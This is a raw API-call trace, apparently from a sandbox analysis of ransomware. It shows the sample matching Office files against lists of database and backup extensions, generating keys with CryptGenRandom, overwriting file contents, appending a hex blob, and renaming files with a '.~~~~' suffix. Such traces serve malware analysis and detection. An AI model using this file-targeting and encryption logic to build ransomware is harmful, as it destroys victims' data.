	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".CKP") returned 0x0
	[0141.218] lstrlenW (lpString=".edb") returned 4
	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".edb") returned 0x0
	[0141.218] lstrlenW (lpString=".PST") returned 4
	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".PST") returned 0x0
	[0141.218] lstrlenW (lpString=".dbf") returned 4
	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".dbf") returned 0x0
	[0141.218] lstrlenW (lpString=".SQL") returned 4
	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".SQL") returned 0x0
	[0141.218] lstrlenW (lpString=".pst") returned 4
	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".pst") returned 0x0
	[0141.218] lstrlenW (lpString=".dbv") returned 4
	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".dbv") returned 0x0
	[0141.218] lstrlenW (lpString=".SDF") returned 4
	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".SDF") returned 0x0
	[0141.218] lstrlenW (lpString=".dtxs") returned 5
	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.218] lstrlenW (lpString=".db3") returned 4
	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".db3") returned 0x0
	[0141.218] lstrlenW (lpString=".OST") returned 4
	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".OST") returned 0x0
	[0141.218] lstrlenW (lpString=".dbx") returned 4
	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".dbx") returned 0x0
	[0141.218] lstrlenW (lpString=".DB3") returned 4
	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".DB3") returned 0x0
	[0141.218] lstrlenW (lpString=".DAT") returned 4
	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".DAT") returned 0x0
	[0141.218] lstrlenW (lpString=".VHDX") returned 5
	[0141.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.219] lstrlenW (lpString=".ndf") returned 4
	[0141.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".ndf") returned 0x0
	[0141.219] lstrlenW (lpString=".DB") returned 3
	[0141.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".DB") returned 0x0
	[0141.219] lstrlenW (lpString=".sql") returned 4
	[0141.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".sql") returned 0x0
	[0141.219] lstrlenW (lpString=".MYD") returned 4
	[0141.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".MYD") returned 0x0
	[0141.219] lstrlenW (lpString=".DBT") returned 4
	[0141.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".DBT") returned 0x0
	[0141.219] lstrlenW (lpString=".ACCDB") returned 6
	[0141.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.219] lstrlenW (lpString=".fdb") returned 4
	[0141.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".fdb") returned 0x0
	[0141.219] lstrlenW (lpString=".bak") returned 4
	[0141.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".bak") returned 0x0
	[0141.220] lstrlenW (lpString=".myd") returned 4
	[0141.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".myd") returned 0x0
	[0141.220] lstrlenW (lpString=".DTXS") returned 5
	[0141.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.220] lstrlenW (lpString=".ckp") returned 4
	[0141.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".ckp") returned 0x0
	[0141.220] lstrlenW (lpString=".dbt") returned 4
	[0141.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".dbt") returned 0x0
	[0141.220] lstrlenW (lpString=".db") returned 3
	[0141.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".db") returned 0x0
	[0141.220] lstrlenW (lpString=".TXT") returned 4
	[0141.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".TXT") returned 0x0
	[0141.220] lstrlenW (lpString=".MDF") returned 4
	[0141.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".MDF") returned 0x0
	[0141.220] lstrlenW (lpString=".bdb") returned 4
	[0141.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".bdb") returned 0x0
	[0141.220] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0141.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0141.220] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395498) returned 1
	[0141.221] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0141.221] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0141.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0141.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0141.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0141.222] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26121180704) returned 1
	[0141.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbd955ad0, dwHighDateTime=0x1d60e1e)) 
	[0141.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0141.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0141.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0141.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2518
	[0141.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2518 | out: hHeap=0x300000) returned 1
	[0141.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ae578
	[0141.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0141.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae578 | out: hHeap=0x300000) returned 1
	[0141.222] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0141.223] GetLastError () returned 0x0
	[0141.223] GetLastError () returned 0x0
	[0141.223] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0141.223] GetLastError () returned 0x0
	[0141.223] GetLastError () returned 0x0
	[0141.223] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x1f8fec0*=0x10f19, lpOverlapped=0x0) returned 1
	[0141.407] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffef0e7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.407] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x10f19, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x10f19, lpOverlapped=0x0) returned 1
	[0141.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0141.408] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.408] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.408] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.408] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.409] CloseHandle (hObject=0x138) returned 1
	[0141.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aed58
	[0141.409] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir40f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir40f.gif.~~~~")) returned 1
	[0141.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aed58 | out: hHeap=0x300000) returned 1
	[0141.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0141.412] GetLastError () returned 0x0
	[0141.412] RtlWakeConditionVariable () returned 0x0
	[0141.412] GetCurrentThreadId () returned 0xaf0
	[0141.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".scr") returned 0x0
	[0141.412] lstrlenW (lpString=".cmd") returned 4
	[0141.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".cmd") returned 0x0
	[0141.412] lstrlenW (lpString=".dll") returned 4
	[0141.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".dll") returned 0x0
	[0141.412] lstrlenW (lpString=".bat") returned 4
	[0141.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".bat") returned 0x0
	[0141.412] lstrlenW (lpString=".cpl") returned 4
	[0141.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".cpl") returned 0x0
	[0141.412] lstrlenW (lpString=".sys") returned 4
	[0141.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".sys") returned 0x0
	[0141.413] lstrlenW (lpString=".msc") returned 4
	[0141.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".msc") returned 0x0
	[0141.413] lstrlenW (lpString=".com") returned 4
	[0141.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".com") returned 0x0
	[0141.413] lstrlenW (lpString=".lnk") returned 4
	[0141.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".lnk") returned 0x0
	[0141.413] lstrlenW (lpString=".msp") returned 4
	[0141.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".msp") returned 0x0
	[0141.413] lstrlenW (lpString=".pif") returned 4
	[0141.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".pif") returned 0x0
	[0141.413] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0141.415] lstrlenW (lpString=".sqb") returned 4
	[0141.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".sqb") returned 0x0
	[0141.415] lstrlenW (lpString=".ost") returned 4
	[0141.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".ost") returned 0x0
	[0141.415] lstrlenW (lpString=".txt") returned 4
	[0141.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".txt") returned 0x0
	[0141.415] lstrlenW (lpString=".mdt") returned 4
	[0141.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".mdt") returned 0x0
	[0141.415] lstrlenW (lpString=".BDB") returned 4
	[0141.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".BDB") returned 0x0
	[0141.416] lstrlenW (lpString=".eql") returned 4
	[0141.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".eql") returned 0x0
	[0141.416] lstrlenW (lpString=".DBF") returned 4
	[0141.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".DBF") returned 0x0
	[0141.416] lstrlenW (lpString=".EQL") returned 4
	[0141.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".EQL") returned 0x0
	[0141.416] lstrlenW (lpString=".FDB") returned 4
	[0141.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".FDB") returned 0x0
	[0141.416] lstrlenW (lpString=".EDB") returned 4
	[0141.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".EDB") returned 0x0
	[0141.416] lstrlenW (lpString=".DACPAC") returned 7
	[0141.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.416] lstrlenW (lpString=".VHD") returned 4
	[0141.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".VHD") returned 0x0
	[0141.416] lstrlenW (lpString=".DBV") returned 4
	[0141.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".DBV") returned 0x0
	[0141.416] lstrlenW (lpString=".dacpac") returned 7
	[0141.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.416] lstrlenW (lpString=".sdf") returned 4
	[0141.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".sdf") returned 0x0
	[0141.416] lstrlenW (lpString=".accdb") returned 6
	[0141.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".accdb") returned 0x0
	[0141.416] lstrlenW (lpString=".DBX") returned 4
	[0141.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".DBX") returned 0x0
	[0141.416] lstrlenW (lpString=".MDT") returned 4
	[0141.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".MDT") returned 0x0
	[0141.417] lstrlenW (lpString=".SQB") returned 4
	[0141.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".SQB") returned 0x0
	[0141.417] lstrlenW (lpString=".vhd") returned 4
	[0141.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".vhd") returned 0x0
	[0141.417] lstrlenW (lpString=".bac") returned 4
	[0141.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".bac") returned 0x0
	[0141.417] lstrlenW (lpString=".mdf") returned 4
	[0141.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".mdf") returned 0x0
	[0141.417] lstrlenW (lpString=".BAK") returned 4
	[0141.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".BAK") returned 0x0
	[0141.417] lstrlenW (lpString=".BAC") returned 4
	[0141.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".BAC") returned 0x0
	[0141.417] lstrlenW (lpString=".dbs") returned 4
	[0141.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".dbs") returned 0x0
	[0141.417] lstrlenW (lpString=".vhdx") returned 5
	[0141.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.417] lstrlenW (lpString=".NDF") returned 4
	[0141.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".NDF") returned 0x0
	[0141.417] lstrlenW (lpString=".dat") returned 4
	[0141.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".dat") returned 0x0
	[0141.417] lstrlenW (lpString=".DBS") returned 4
	[0141.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".DBS") returned 0x0
	[0141.417] lstrlenW (lpString=".CKP") returned 4
	[0141.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".CKP") returned 0x0
	[0141.417] lstrlenW (lpString=".edb") returned 4
	[0141.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".edb") returned 0x0
	[0141.418] lstrlenW (lpString=".PST") returned 4
	[0141.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".PST") returned 0x0
	[0141.418] lstrlenW (lpString=".dbf") returned 4
	[0141.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".dbf") returned 0x0
	[0141.418] lstrlenW (lpString=".SQL") returned 4
	[0141.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".SQL") returned 0x0
	[0141.418] lstrlenW (lpString=".pst") returned 4
	[0141.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".pst") returned 0x0
	[0141.418] lstrlenW (lpString=".dbv") returned 4
	[0141.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".dbv") returned 0x0
	[0141.418] lstrlenW (lpString=".SDF") returned 4
	[0141.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".SDF") returned 0x0
	[0141.418] lstrlenW (lpString=".dtxs") returned 5
	[0141.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.418] lstrlenW (lpString=".db3") returned 4
	[0141.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".db3") returned 0x0
	[0141.418] lstrlenW (lpString=".OST") returned 4
	[0141.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".OST") returned 0x0
	[0141.418] lstrlenW (lpString=".dbx") returned 4
	[0141.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".dbx") returned 0x0
	[0141.418] lstrlenW (lpString=".DB3") returned 4
	[0141.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".DB3") returned 0x0
	[0141.418] lstrlenW (lpString=".DAT") returned 4
	[0141.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".DAT") returned 0x0
	[0141.418] lstrlenW (lpString=".VHDX") returned 5
	[0141.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.419] lstrlenW (lpString=".ndf") returned 4
	[0141.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".ndf") returned 0x0
	[0141.419] lstrlenW (lpString=".DB") returned 3
	[0141.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".DB") returned 0x0
	[0141.419] lstrlenW (lpString=".sql") returned 4
	[0141.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".sql") returned 0x0
	[0141.419] lstrlenW (lpString=".MYD") returned 4
	[0141.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".MYD") returned 0x0
	[0141.419] lstrlenW (lpString=".DBT") returned 4
	[0141.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".DBT") returned 0x0
	[0141.419] lstrlenW (lpString=".ACCDB") returned 6
